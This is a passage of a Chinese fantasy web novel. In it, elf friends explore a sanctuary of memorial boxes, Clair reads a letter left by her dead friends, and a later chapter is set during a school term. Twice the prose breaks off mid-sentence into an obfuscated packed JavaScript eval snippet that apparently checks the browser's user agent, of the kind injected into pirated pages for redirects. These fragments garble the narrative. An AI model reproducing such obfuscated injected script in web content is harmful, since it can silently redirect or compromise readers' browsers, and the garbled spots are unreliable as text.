植物当然也懂得珍惜食物,虽然它们没有脑子,但每个物种的生存本能都相近。正常情况下,不可能把吃进来的东西吐出去。 德科迈提的花朵是捕食器官和消化器官,花粉和胃酸一样具有腐蚀性。 小型昆虫进入花朵后会被花粉腐蚀,成为养分,如果体型再大一点,守株待兔就不好使了,它们会选择主动出击,喷射花粉。 如果花朵里有还没消化完全的昆虫,会跟随花粉一起喷出来。 这才是根本原因。 蒂娜响亮地打了好几个喷嚏,头顶身上都是花粉和残肢断腿,看起来惨极了。 埃弗里冲她喊:“打喷嚏时捂一下嘴,小心吃进昆虫!” 她站在原地没动,一点上去帮忙的意思都没有。 德科迈提攻击性很强,可惜没有与之相配的攻击力。 连消化昆虫都需要半个月以上,花粉的腐蚀性,甚至不足以把衣服上的线头熔断。虽然是食肉植物,但也就只能吃点昆虫,一度被认为是食虫植物。 总的来说,是一种太弱所以无害的植物。 用来驱蚊效果不错,如果你不介意它把没吃完的蚊子往你脸上扔,还可以用它进行近距离通话。 它长得就像个电话线。藤蔓内部中空,与花朵相连,在这端的花朵说话,另一端的人就能听到。 克雷尔偶尔会觉得,其实她不擅长应对植物非常合理,因为有的植物真的太怪了。 蒂娜连退好几步,终于离开了攻击范围内,她烦躁地抹了把脸,把衣服上昆虫的残翅断腿弹开。 她钻进马车,说:“报备完成,可以直接进了。” 和大多数居住在多雾地区的聚集地相同,这里的建筑色彩明亮,只是由于历史太久,有些建筑有多次重刷的痕迹。 在经过一个明黄色两层木楼时,她们都闻到了一股腐烂的酸味,一个中年精灵正在木楼里进进出出,把一桶桶不明物质往外搬。那股发酵的味道越来越重。 克雷尔注意到木楼两边房子的颜色都很淡,显然是长期雨淋日晒导致褪色,又无人粉刷的缘故。似乎是没人居住。 蒂娜跳下马车,冲着她喊:“夏林!” 名叫夏林的精灵站起身,用力在罩衫上蹭了蹭脏兮兮的手,朝这边走过来。 克雷尔首先注意到的是她的手,她的手和脚都很大,即使是对于身体尤为健壮的精灵来说,也大到不合比例。其次是她身上那股强势刺鼻的味道。 最后是眼睛。 夏林戴着一副眼镜——她并没有真的戴,那东西没有镜腿,只是浮在她眼前,跟随她的移动而移动。镜片后面黑眼珠占比很大,转得很快,仿佛每时每刻都在绞尽脑汁地思考。 夏林和蒂娜拥抱之后,那双眼睛的焦点放在了克雷尔身上,她打量克雷尔的时间长到让人怀疑她们认识。 但她只是说:“你是克雷?欢迎你。当我忧虑时,我会含上一片红薄荷,希望你也试试。” 她的声音和她给人的感觉完全不同,轻飘飘慢吞吞的,像只树獭。 “克雷尔。”克雷尔接过她递来的薄荷叶,并纠正说。现在她明白蒂娜之前是在和谁通话了。 夏林熟稔地和每个人打招呼,依旧是那个不上不下的语调,“安西娅,你晒黑了;埃弗里,我喜欢你像个贝什卡一样;伊尔卡拉,我们真的有好久没见了。” 贝什卡是只生长在东部大陆的一种植物,特点是生长迅速,一夜就可以窜一米多高。 埃弗里说:“我最近是在猛长个子,你居然认识伊尔卡拉?” “我当然认识。” 蒂娜:“不重要,关键是夏林你能不能把德科迈提撤了?你看我身上!” “确定都喷出来了吗?太好了,通话线路变得更畅通了。” 蒂娜怒瞪。 “如果你担心浪费,一会儿我会去清扫,把喷出来的昆虫都扔到我的桶里。昆虫也是一种很有营养的肥料。”夏林说,她显然理解错了蒂娜的意思。“我扫地的时候,你们能帮忙把我的桶都搬出来晒晒,方便生物肥发酵吗?” “不了,我们要去圣地呢。”蒂娜一口否决。 “去吧。”夏林说完想起了什么,“不过千万注意,海斯文也在圣地,不要被她发现,就算被她发现了,也不要被她抓住,被她抓住会很麻烦。” 克雷尔问:“被她抓住会怎么样?” “很糟糕,她会问你们圣地扩建得怎么样——她是百年前修缮圣地的负责人——然后自夸上两个小时,可能会错过晚饭时间。今晚食堂有亚立特浓汤。” 走开好几米以后,蒂娜小声嘀咕:“拜托,我可一点都不喜欢那个汤。” 每一个精灵聚集地都存在“圣地”,通常它位于最北方。 蒂娜带着她们沿着小路奔跑,最后一条分岔小路的尽头,是一间其貌不扬的小房子。 里面的空间比外面看起来大得多,陈列着许多书架,乍一看有点像图书馆。 只是,架子上整整齐齐摆放着的不是书,而是一个个木盒,盒子全都没有上锁,每个盒子下方都刻着一个已去世的精灵的名字。 克雷尔随手拿起其中一个,蒂娜在旁边说:“不是骨灰盒。” “我知道。” 性质差不多,都是死去的人留下的东西。精灵的习俗是,当一个精灵即将死亡时,会把自己想要留给后辈的东西放进盒子,然后盒子统一陈列在圣地里。 什么都可以放,只要不是打开会受诅咒的东西就行。 所以什么稀奇古怪的东西都有,对好奇心旺盛的小孩子来说,这里是最好的寻宝室。 十岁以前,蒂娜总是瞒着大人,偷偷溜进圣地,十岁以后,她光明正大地进来。 她在这里找到过已失传的食谱,试做后很难吃,连锅一起扔;也找到过一本破破旧旧的魔法课本,她使出的第一个魔法,就是从上面学会的。 还有一枚金色的钱币,属于货币时代,现在已经用不着了,她把金币拿出来玩了两天,又放回去,重置魔法锁。 每个盒子都设有隐形的魔法锁,只有满足开启条件,被盒子主人认可的人才能打开。 有人设置开启条件为“无”,任何人都可以打开;大多数开启条件都是1-3个问题,正确即可开启——几乎所有人都希望,只有通过考验的人,才能获得自己的“宝藏”。 蒂娜见过最离谱的开启条件是,只有七月的白朔十日当天才可以打开。 当然不存在这个日期。 她们又发现,那个盒子是特别的,有简易的视觉识别魔法,于是她们又想了个主意,在白烁日和回归日的交汇点,把伪造的假日历放在盒子前面。 成功开启后,发现里面什么都没有——答案就在题面上,七月的白烁十日根本不存在,其中空无一物。 几个小孩气得不行,干脆重置了魔法锁,让它恢复到开启之前的状态,等着骗下一个人。 重置很简单,只需要按一下盒子下方的按钮。按钮旁边有个小型滚轮,当盒子被开启又被关闭,滚轮就会前进一格,以此辨别被打开的次数。 克雷尔手里盒子的开启条件是施加清洁魔法。她念了咒,盒子变得更干净了,打开盒子,里面是一份厚厚的日历。 日历封面上写下的古体字,已经变 得难以辨认——“你可以取走今天的日期”。 克雷尔撕下今天的那页,抬手把盒子放回原位时,注意到下方的滚轮上刻着1742。 克雷尔把纸片折叠放进口袋,“如果没记错的话,那个‘2’应该是我贡献的。” “你来过这里?”埃弗里问。 “对,在九百年前,我们几个朋友一起做了个决定,发誓要把圣地的所有盒子都打开一遍。”她数着书架上的数字往前走,脚步停在[二十三]旁边,“最后我们停在了这。” “也就是说二十三个架子上的所有盒子,你们都打开过?”埃弗里不可置信地说,“那可有一千多个呢!全部都打开了?!” 克雷尔笑着点了点头。 蒂娜怀疑地看着她,然后冲到了第十七个架子前,取下其中一个盒子,递给克雷尔:“这个我们一直打不开!里面是什么?” 克雷尔想了想,怎么可能想得起来?但她对问题的答案有印象,稍微尝试了一番,就打开了。 “复杂的问题总是让人印象深刻。” 固执地想打开它只是出于好胜心,至于里面有什么,反而没那么重要。 比如这个盒子里的东西——克雷尔把它展示给蒂娜看——只是过量运动后,如何缓解肌肉酸痛的教程,太基础了,她们早就学过了。 蒂娜失望至极,看完后立刻把它放了回去,“现在我相信了,但你为什么停在二十三不继续呢?这多好玩啊!” 安西娅注意到,克雷尔在听到蒂娜的问话后,嘴角的笑容变淡了些,而后她恢复了往常的神态,若无其事地说:“因为二十三个架子、一千多个盒子,不是一天就能全部打开的。” 她们花了很久。久到那个寿命最短的精灵朋友行动变得迟缓,浑浊的眼睛需要盯着她看很久,才能喊出她的名字。 她住在精灵朋友的客房里,能听到主卧半夜传来嗬嗬的费力呼吸声,伴随着频繁的翻身。她睁着眼,注视着天花板上的斑点,和那声音一起等待清晨; 她见到一个刻着达加弥亚的木盒,放在桌子底下,过了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而是出题人对着答案找考题,为的就是筛选出某类型的人,替她去完成一件事。 过去了数百年,也只有安西娅、埃弗里、蒂娜三人完全满足条件。 盒子已经被打开了,里面放着几页薄薄的纸张,上面用圆珠笔画着漫画分镜草图一样的东西,很潦草笨拙。 克雷尔问:“你们说的千年前凭空出现的预言、未知的文字、世界上并不存在的笔墨……就是这个?” “果然,你认识。”安西娅盯着她的脸说。 “这是漫画。” 蒂娜:“漫画不长这样!” 这个世界的漫画当然不长这样,那是克雷尔从前世带过来的。她是身穿。 穿越来发现这里是货真价实的魔法异世界,有现成的冒险,谁还需要费力画漫画? 于是草图一直是草图。 达加弥亚是她交到的第一个朋友。克雷尔都快忘记了,原来自己当时把这几张纸给了她,语言尚不互通的两个人,指着纸上的文字和图,磕磕巴巴地交流。 克雷尔想,她当时一定是手舞足蹈,兴奋至极地讲着自己想要描绘出的故事,才让达加弥亚认为,它对她很重要。 安西娅说:“我们都不清楚这是怎么回事,不过,克雷尔你好像知道了一切——不,你当然有权不向我们解释,只有一点,你不是魔王对吗?” 克雷尔摇头。 “预言也不是真的?” “那只是我很久以前画的漫画,送给了一个精灵朋友,我猜她以此跟我开了个玩笑。虽然我看不到预言纸上的内容,但那大概是她故意夸大的,为了诱使你们去‘魔王城堡’找我。” “好吧,我们白跑一趟,”蒂娜耸耸肩,想表现出无所谓的样子,但表情出卖了她,“反正被圣地的木盒耍不是一次两次了。” 安西娅打圆场,“总之没有世界末日,也没有人作恶,这就是好事。而且这趟冒险很有意思,对吧?我们还认识了克雷尔和伊尔卡拉——” 说到这里,她们才注意到,伊尔卡拉没跟着进来,安西娅只好把原本要出口的话替换掉,“你对那把黑剑也非常满意,是不是?” 蒂娜哼哼两声,勉强没那么生气了。 “所以你的房子,其实是按照漫画里盖的?我在看的时候就注意到了,别的都是草图,只有那个房子完成度和精细度非常高。” 埃弗里说着,要把漫画翻到那一页,然而纸张被固定在盒子底部,翻页很费力。 克雷尔说:“对,我还挺喜欢那种建筑风格的……你靠后一点,我来解除固定魔法。” 把画拿出来后才发现,在最下面压着一封薄薄的信,信封上没填地址,只写着两个单词。 ——给克雷尔。 13. 给克雷尔 亲爱的克雷尔: 没想到吧?你被我们骗了,放在床头柜抽屉的信?那根本不是给你的最后一封信,这封信是不是呢?你大可以继续找找看。 对了,这封信是我们三个一起写的。我们口述,弗利达代笔,所以从字迹可区分不出我们,现在猜猜我是谁?是达加弥亚、德斯蒂尼,还是—— 我是弗利达。 抱歉,你知道达加弥亚很容易兴奋。我是说,这对她的身体很不利,暂且由我来讲述吧。 我不明白她为什么热衷于玩这种猜我是谁的游戏,明明她的书信风格是我们当中最明显的,并且她总是会把自己的名字放在第一顺位。 “预言”、“魔王”、“讨伐魔王小队”……这是我们三个人共同的主意。 瞒过了尼克尔和佐伊——因为尼克尔知道的,必然也会告诉佐伊,而佐伊保守不了秘密。 我们只能这样做,不必担心,事后我会对她们道歉,请求谅解。她们不会一直被蒙在鼓里,等木盒放进圣地,我就会告诉她们。 言归正题。因为达加弥亚说,你在前世的时候很喜欢这类漫画,所以我们策划了一场专属于你的冒险故事。 但愿它给你带来的是新的朋友、新的冒险,而不是困扰。 你可能好奇我们为什么要这么做,仔细想一下吧,你有多久没有参加我们的聚会了呢? 自从达加弥亚卧床以后,你就很少出现了。如果你不想来,没人会怪你,但你沉迷于时间魔法,昼夜不分。这让我们都很担心。 掌管时间的卡兹奥尔,也无法永远保有黑夜。时间会向前流动,而你无法阻止它,即使是阿卡姆托,也是由婴孩长成成人,没有人可以逆转这个过程。 我们第一次见到你时你的样子,和你现在的样子毫无区别,时间当然在你身上留下了痕迹,手臂上的伤疤、逐渐成熟的眼神,这些都是。但它似乎没能推动你向前。 我们猜想你应该是长生种——考虑到真正意义上的永生种,只有无实体的鬼。 没人告诉你这个。因为在你一百二十岁那年,你给自己办了场葬礼,第二天你发现自己照旧醒来后,显得很恐慌。 因为你那个世界的人只能活一百二十岁,你预设自己也活一百二十岁。 你刻意回避了你外貌没有改变的事实,以为无视它,它就不存在。 你在那个世界只生活了二十年,但那是最关键的二十年,是它塑造了你,你的一切都来源于它。 你对它有更深的归属感,可你无法回到那里。 而在冒险的热情逐渐退却后……你喜欢这里的一切,但对这里的归属感,却仅仅依靠我们几个来维系。 所以,是啊,你不想在我们一个又一个地死去后,成为仅存的孤零零的一个。 是的,我们死后,你可以交别的朋友。你当然会这么说。每当我们看到你在研究时间魔法,露出担忧的表情时,你都这么说。 你说你只是对它感兴趣而已,其实你并不在意。 你说在达加弥亚的葬礼上,你会准备一支硕果累累的树莓枝条。 你说你希望你的新朋友是蚁群,因为你无法想象她、她们是如何生活的,关于蚁群的一切都让你感到新奇、跃跃欲试。 但是克雷尔,一个真的这么想的人,是不会整天把自己埋在实验室,一心只想着要让时间魔法在活人身上起效,让自己垂垂老矣的朋友重回少年。 这就是我们写这封信的原因。 在我们几个都还活着的时候,你应该不会看到它,它将会封存很长一段时间。 我真心地希望,你永远不会看到这封信。说不定在将来的某一天,我们中的一个,会悄悄地到圣地把这封信取出来,然后撕毁。 好证明我们写这封信的目的——那种担心,只是无由来的、只是杞人忧天。 如果它没被撕毁,你最终还是看到了这封信,‘很抱歉这么多年从来没有长进过,甚至还需要我死去的朋友来宽慰我’,停止这种想法。 我们当然会担心你,就像你担心达加弥亚一样、 我是德斯蒂尼。 现在这封信轮到我来写了,你会发现笔迹毫无变化,因为达加弥亚坚持要把那个傻游戏进行下去! 嘿,别告诉她,弗利达在每个部分的开头都加上了署名。 回到原来的话题吧。你可能很好奇,为什么弗利达会突然在写到一半时停笔,我来解释。 因为她还没有写到后面的内容,就发生了让我们认为不需要再写这封信的事情。 我们差一点就决定把它撕了! 但如你所见,这封信继续了下去。弗利达在照料达加弥亚,没时间构思书信内容,她的状态变得更差了,还有你,你也在照料她。 你离开了实验室,住进了达加弥亚小屋的客房,你看起来完全放弃了时间魔法,表现得让我们觉得自己果然是在杞人忧天。 哈,我从来不否认我的过人才智。正是它帮助我很快识破了你的伪装。 你出现在这里,是因为你认为达加弥亚想要你在这;你面带微笑地宽慰她,是因为你不想让她担心……而不是因为你放弃了时间魔法! 总之,我们不得不像以前一样,一边担心达加弥亚,一边担心你了。 别愧疚,反正你让我担心的次数已经够多了,不多这一个。 还记得那次在星星森林吗?你被一整朵巨大的花吞住脑袋,好不容易挣脱后,头皮上、脸上都是花粉,哦,那花粉可不易摆脱,还是我帮忙…… (弗利达注:此处对德尼蒂斯的废话进行了删减处理) ……我一向都是果断并且决策正确的人!不过在写这封信之前,包括在写这封信的此刻,我都在想,是不是不该留下这封信,我们所做的事,究竟是否正确。 不止你,我们也在假装。只不过我们是在迫切地找事情做,假装我们游刃有余。 策划给你的冒险故事也算是“找点事情做”,所以我觉得,嗯……这很自私。 我们还不知道你会在什么时候看到这封信呢。 说不定那时你已经看开了,这封信的出现,只会勾起悲伤往事。 说不定你已经不记得我们了,觉得我们是自作多情,觉得我们是平白无故,啪嗒一声,往你门口送三个喊着要除掉魔王的人,给你制造麻烦。 是啊,我知道你不会那么想,也知道思考这些问题很傻,但我控制不住。 达加弥亚的状态很差,你也不给我们省心,除此之外,一切都乱套了,事情不该是这样……我知道除了达加弥亚的死亡是不可避免的以外,别的都在往好的方向发展,但我停不下胡思乱想!我做不到! 如果我没那么聪明,而是头脑简单的狼人就好了,我就可以什么都不想,每天站在悬崖上冲着月亮嚎。和尼克尔一起。 ——是,对,没错,我就是在抱怨她扰民!如果她能嚎出月光畅想曲的变奏来,还可以勉强容忍。 至于佐伊,我不是很清楚她的情况。她最近在尝试做菜,说是想让达加弥亚在去世前尝尝她的厨艺,不留遗憾。 我被迫帮忙尝了两次,觉得达加弥亚吃了那种东西才会抱憾而终……总之,我有点害怕接近她,你必须原谅我。 好像应该在信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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然后还有什么来着?弗利达也负责了几个地方,我还没问她,让她跟你说吧——当然不是在这封信里,你不会觉得我们只给你留了一封信吧? 总之就是,我们想方设法,增加趣味性,让那几个冒险者能高高兴兴地、心满意足地找到你。 通过木盒测试的人,不会因为你是魔王就喊打喊杀,所以你们大概率会进入谈话环节。 然后你们两边一合计,就会立刻发现问题所在,一起来到圣地。 然后就会看到这封信啦! 事情就是这样。 别看我在信里欢呼雀跃,但实际上,我说话的声音有气无力的,弗利达必须靠我很近,才能听到我的声音。 所以我喜欢文字胜过面谈。 不得不说,无论是银片还是测试题,都耗费了我太多精力。我不会刻意回避这个,如果我为你做了一件事,那么你就必须要原原本本地知道。 我知道自己快要死了,‘不要给我你的同情、悲悯,或是惆怅,给我源源不绝的布列什’①。 虽然我不是很爱,但我想引用贝利的这首诗,意会一下就行,不要真的给我布列什,我更喜欢橘子果酱——也不要给。 好好的食物在墓碑前放坏了不是浪费吗?替我吃了吧,给喜欢吃它的人也行。 不用想也知道,弗利达肯定在那句诗的右上角加了角标,我都说了没这个必要,难道还有别人会看到吗?这封信只给你。 如果你看到了那个角标,一定要在回信里狠狠嘲笑她!你会写回信并且轮番念给我们三个听的,对吧? 那我们就下封信见咯! 14. 不算番外的番外 脱去冬天厚重的大衣,换上轻薄的春装,把一本本新书一股脑全塞进抽屉,再把床底下落了灰的《古代魔法实践图示-附音节按钮》拿出来。 蒂娜重重地叹了口气。 她被要求补修课程,魔法实践这门课的教师,对于考试很是严格。 “我很遗憾,如果我的课程是植物栽培和育种,我很愿意让你通过,但对待魔法还是要慎重一些,对吧?我不想某天在报纸上看到,我的学生不慎摧毁了一座森林,而这只是因为,她错把魔法中的上升音节,输出为平颤音节了。” 负责她的克里斯老师是这么说的。 她翻开课本,找到那个魔法的按钮,不停地按着,越听越觉得自己冤枉,上升音节上升得一点都不明显。 频繁的咒语声吵得埃弗里捂住耳朵大喊:“蒂娜!” “我只是在复习。” “你最好给自己施个隔音魔法再复习,”埃弗里说,“或者我先给自己施一个。” 蒂娜双手举起,示意自己不会再按了,然后问:“你都选了什么课程?” “古代魔法史、进攻魔法学、时间魔法概述、魔法防御实践、魔法用具维修……时间不冲突的都选了。” “我真想和你一起上课,”埃弗里瞥了她一眼,知道蒂娜这么说,是为了引出下面的抱怨,“但我必须补修。” “我不想扫兴,但我觉得克里斯让你补修是对的。” “你已经在扫兴了,”蒂娜不太高兴地转移话题,“安西娅选了什么?” “古魔药学概述、古魔药复原、综合魔药配置……关于魔药的一切。今年我们在课堂上肯定见不了几次面。” “她和夏林肯定聊得来。”蒂娜嘟囔。 “估计不太行,夏林偏向药植培育,安西娅偏向成分提取。对了,克雷尔给你的种子,你给夏林了吗?” “给了一半,我打算自己培育试试看,但要补修,没办法再选药植培育可,还是寄给她吧。” 把种子包夹在信里寄出去后,已经差不多到晚餐时间。开学第一天,食堂里异常吵闹,安西娅和埃弗里已经找好了位置,看到蒂娜站在门口,立刻向她挥手示意。 蒂娜侧着身,慢慢地挪过来,耳朵里钻进几句学生们的闲谈,都是关于补修、新老师、新课程、忘带东西之类。 她没有在意。 第二天午餐前,会议厅里简单举行了一个开学仪式,校长重申了校规,介绍几位新教师,然后就宣布结束,全程不到二十分钟。 散会后安西娅、蒂娜、埃弗里三人互相对视一眼,安西娅说:“如果我没看错的话,那个新的时魔概述老师似乎是克雷尔。” “你没看错!听到校长怎么介绍她吗?真没想到,那个能让时间后退500年的魔法师就是克雷尔!她居然没和我们说过!” 埃弗里显得很兴奋,她看看安西娅,再看看蒂娜,像是下一秒就要劝说她们把时间魔法概述课加入课程。 不过她很快意识到,自己的两个同伴和自己一样,课程满到挤不下了。 “她是没和我们说!”蒂娜冷冷说道,“她连来我们学校任教都没和我们说!就连那天看完信后,她也什么都没说!” 甚至刚才散会后,她也只是朝她们方向看了一眼,就立刻跟着校长走出去了。 埃弗里神情有些尴尬,却还是辩解:“她说了,只不过没有细说。” “就几句话而已,那也叫‘说了’?” “那是她去世的朋友留给她的信,你不能指望她在看完之后,依旧能精神百倍,神采奕奕地跟我们细讲发生了什么吧?” 蒂娜非常大声地从鼻子里发出一声哼哧,“你就是因为她能把时间倒退五百年,才这么帮着她的。” 但她没有否认埃弗里的话。 埃弗里扫视了一下周遭,学生们都已经离开,会议室只剩下她们三个。“我们先出去。” 三人草草在食堂吃完饭,就直奔蒂娜的宿舍。 关上门后,埃弗里立刻说:“难道她朋友留给她的其她书信,就在我们学校里?” 安西娅摇头,“那也不用来任教。我们学校对外开放。” “也可能是校长和她做了交易。以书信为代价,让她任教,那可是能让时间倒退五百年的人。” 蒂娜还没消气:“你要重复多少次五百年?只是你这么想而已,成绩好的人一定教得好?校长未必这么认为!” 埃弗里不再看她,转向另一个同伴:“安西娅,你怎么觉得?” “我没什么看法,毕竟克雷尔的确没向我们解释太多。当然,她有情可原,不过对我们来说,确实有点过分。” 安西娅努力做到两不得罪,“为什么我们不去她的工作室呢?埃弗里,你可以直接问,蒂娜,你可以直接冲着她发火。” 这下连蒂娜都愣了愣。 “我是认真的。冲着她发火——不管她会不会生气,都一定比我们现在在背后乱猜进展要快。”安西娅诚恳地说。 埃弗里欲言又止。 蒂娜想了一下,有点心动。 三人沿着楼梯向下,从一楼经过时,宿管的房间正紧闭着门,上挂[午休中]的牌子,她们脚步放轻了一些。 教师们的工作区在三号楼,根据楼里的分区图示,她们很快找到了克雷尔的工作室。 房门半开着,克雷尔正伏在书桌前,专心地写着什么,抬头看到她们,显得有点惊讶,“我约你们见面的时间是晚上,你们现在过来有急事?” 埃弗里反问:“你约我们晚上见面?” “对,我和校长分开后,回到会议室发现你们不在,也不清楚你们会在哪,就写了字条,交给你们那栋楼的宿管。” 蒂娜稍微消气了点,她们下楼时,宿管正在睡午觉,所以没能见到字条。 埃弗里看了她一眼,然后说:“我以为你在故意避着我们。” “我不会的,我给安西娅准备了这个,如果我避着你们,我怎么把它给她?”克雷尔指了指另一张桌子上的东西。 安西娅率先走进来。桌上有两样东西,一盆植物,和一套药剂萃取仪器,单看外表,就能看出它做工有多精密。 显然后者是给她的。她知道克雷尔为什么会给她准备这个。 那天在圣地里,克雷尔看完信,找到她们,看不出神情是轻松愉快,还是难过。 她非常简短地解释说,那封信是她朋友留下的,而且给她留了不止一封,别的信还不知道在什么地方。 然后把酸浆果种子给了蒂娜,黑鸭羽毛笔给了埃弗里,她在口袋里又摸索了一会儿,找不到第三样东西了。 安西娅原本想说“你不用特意再为我准备一份礼物”,她其实并不介意,但话又说回来,她确实需要一套药剂萃取仪器。 于是她迟疑了一下,说:“谢谢,我很喜欢。” 仿佛是为了掩饰什么,她飞快地开启了下一个话题:“话说回来,你为什么会来任教?第二封信在我们学院里吗?” “并不是,第二封信一点线索都没有,而且我没那么在意它。” 六只眼睛齐刷刷地盯着她。 “好吧,我在意,但知道在某个地方有我朋友留给我的信,比真的拿到它,更让我感到愉快。”克雷尔说。 任教是因为她想要再一次尝试和这个世界建立链接。 “因为达加弥亚策划的冒险故事,我们成了朋友,”克雷尔停顿几分钟,没等到反驳,才继续说,“所以我想再试一下。” 看到三人不解的眼神,克雷尔才反应过来,她还没把那封信给她们看过。 克雷尔从抽屉里翻出信,递给她们,三个脑袋紧挨着把信看完。 “你很勇敢。”埃弗里说。 克雷尔摇了摇头,像是不赞同,但她沉默片刻后笑了一下,说:“是。” 蒂娜则问:“你最近看到伊尔卡拉了吗?” “伊尔卡拉?” “她现在身高两米一了。”蒂娜忿忿不平地抱怨。 克雷尔愣了一下,然后露出了“原来如此”的表情。 蒂娜就讨厌这种表情。 那天伊尔卡拉没跟她们一起进圣地,出来后也没看到人影。 克雷尔显然没有胃口吃饭,于是只有她们三人一起去了精灵食堂,在那里看到了两米一的伊尔卡拉。 谁也不知道她是什么时候变的体型,明明她刚进精灵聚集地时,还只有巴掌大。 她不是根本没办法支撑这么大的体型吗?怎么现在又可以了? 安西娅和埃弗里在愣了愣神之后,都露出一副了然的神情。 蒂娜不懂她们到底懂什么了,但她们都明白了,只有她没有,让她有种被排除在外的微妙不爽感。 “我们进圣地的功夫,她在外面做什么了?”蒂娜忍不住问。 她不该说这句话的。因为海斯文女士就在食堂,听到了圣地,就像触发关键词一样,拄着拐杖就漂移到她们桌了。 蒂娜连喝三大碗亚立特浓汤,叫着“要去厕所”,飞快地溜掉了。 所以,最后她也没弄清楚伊尔卡拉是怎么回事。 “我最近没有看到伊尔卡拉,她可能在做她的任务,你有急事要找她?”克雷尔问。 蒂娜悻悻地说:“不,没事。” 克雷尔:“那我们晚餐的时候见好吗?我必须要继续备课了。” 三人离开了房间。安西娅抱着仪器,决定在自己的课程上,再增加一项时魔概述。 “如果我在配制药剂时失误了,就可以用时间魔法补救。” 埃弗里则决定,把魔法用具维修的课程取消掉。 “克雷尔说过我很有天赋,我本来没当回事,但如果她是最厉害的时间魔法师,那就另当别论了。能直接让时间倒流,谁还需要学习维修呢?我可以把更多时间放在进攻魔法上。” 晚上她们告诉克雷尔,她们会选择时魔概述课,克雷尔显得很高兴。 蒂娜用力地切着牛排,力度大到让人怀疑她在剁馅,“我没办法上你的课,我要补修,上学期的没通过。” 克雷尔有些意外,“补修?我太久没进学院,都有点跟不上了。在我上学那会儿,把园林设计的课程测试搞得一塌糊涂,最终也通过了。” 虽然后来老师给她写了信,一千字中,九百九十字都在阐述各种植物的可爱之处,最后十个字劝她放过这些可爱可怜的植物。 ‘克雷尔的园林设计确实一塌糊涂。’埃弗里嚼着肉饼,想到了魔王城堡的废弃花园,没一个活着的植物。 然后她又突然想起,克雷尔工作室的桌子上,就放着一盆绿色盆栽,生机盎然。 她很快知道了原因。 在第一节时魔概述课上,克雷尔把那盆植物放在课桌上,让学生们观察它,判断它的状态。 “实际上已经死了,我每天都会给它施加时间魔法。”克雷尔最后是这么说的。 虽然不擅长养植物,但擅长时间魔法。 “因为已经死了,所以才可以施加时间魔法。你们所看到的生机盎然,也只是虚假的表象而已。” 时间魔法的极限是,让已经死去的植物,状态倒退到刚死去那刻,如果执意继续倒退,妄图跨越生与死的界限,就只能收获假象。 克雷尔把盆栽搬下去,让学生挨个触摸叶子,来感受它的真实状态。 埃弗里第一个伸手,看起来厚重翠绿的芦荟叶片,摸起来软烂黏滑,薄薄的一层皮,包裹着脓液,让她想起了死去许久的动物胀起的肚子,稍加用力就会……她触电般地收回了手。 如果那只是一盆枯萎腐烂的植物,她绝不会有这么大的反应,正是因为它看起来那么鲜活,腐烂的事实才让人难以忍受。 安西娅摸完皱了皱眉,其她学生反应和她差不多,都敬畏地看着那盆盆栽。 克雷尔回到讲台,“现在翻开序言——‘时间魔法很好用,但要明确界限’——可以开始我们的第一堂课了。” 埃弗里翻开了书,像上其她课时一样认真听着,不漏下老师说出的每一句话,在书上记笔记,但她感觉自己对时间魔法的兴趣大大减弱了。 她自己也说不清那股失望来源于哪,她当然不打算越过那条界限,得知它没有那么强大,却还是很失望。 安西娅听得很认真,她是个货真价实的实用主义者。 时魔概述是上午的最后一堂课,铃声响起后,安西娅合上书本,问埃弗里中午打算吃什么。 “我还有点事情,你和蒂娜先去吧。” 安西娅没有多问,收拾东西先离开了。 埃弗里把压在书下的纸条拿出来,打开。克雷尔把植物拿下来让她看时,往她手里递了张字条,她当时没有立刻打开。 纸条上说让她在午休结束后,去找克雷尔一趟。看来不是什么急事。 埃弗里把字条塞进口袋,快步走出教室,追上安西娅。 午餐时间她们三个讨论了一下克雷尔找她的原因,没有得出一个正经的结论。 “她可能想让你替她收作业。”蒂娜用叉子戳着盘子里的炸鱼薯条。 “我猜不出来,但应该不是大事。”安西娅说。 是大事。 从克雷尔的工作室里出来后,埃弗里非常开心地对两个同伴说:“她知道我在想办法探索禁忌魔法了。” “你疯了?”蒂娜不可置信地嚷嚷,安西娅快速施了个屏障魔法,防止声音外泄,于是蒂娜更大声了,“她知道了,而你居然在笑!?等会,她为什么会知道?” 埃弗里笑:“因为我之前说过,魔法协会的考察很严格,我抱怨得太明显了。” 实际上并不严格,这是基本常识。 所以克雷尔很快推断出,她会说严格,极大可能是申请入会,却被拒了。 被拒绝的情况很罕见,所以克雷尔找同事问了一下拒绝原因。 如果是别人,被拒绝后就可能放弃了,但只要是认识埃弗里的人都知道她不会。 “所以她劝阻你了?” “不,除非埃弗里真的疯了——如果被劝阻了,她会笑得这么开心吗?” “安西娅说得对!她告诉我,协会拒绝不是因为‘不该研究禁忌魔法’,而是因为‘我这个年纪不该研究禁忌魔法’。我的年龄还不够,所以协会无法为我提供任何资源。” 这也是写在拒绝信上的理由,但信上没说,可以有例外。 埃弗里继续:“可克雷尔说,如果在研究时,能有一个专业魔法师保障我的安全,我就可以通过协会的申请了。” 言下之意是她愿意作为那个保护者,让埃弗里能光明正大地研究禁忌魔法。 “我猜拒绝信上没说这个,是因为条件太严苛了,是‘专业魔法师’,而不是某个魔法领域的‘专业魔法师’,知道意味着什么吗……” “好了,埃弗里,”安西娅拍了拍她的肩,稍微有点用力,“不要再炫耀了,我们已经够羡慕了。” “我不羡慕,”蒂娜耿直地说,“我今年的学业已经很忙了,不需要加课。不过她为什么会主动提出来要帮埃弗里?” “因为我们是朋友,而且她不排斥埃弗里学习禁忌魔法。” 一个把时间魔法推进到五百年前的人,她的目的本身比禁忌魔法更禁忌。 还有一个原因,克雷尔太久没和别人打交道了。活得太久,对年龄没概念,自己太强,不觉得禁忌魔法危险。 所以她可能无法理解,以她们现在的年纪和魔法水平,学习禁忌魔法有多冒进。 埃弗里自己倒是清楚,但她绝不会告诉克雷尔。 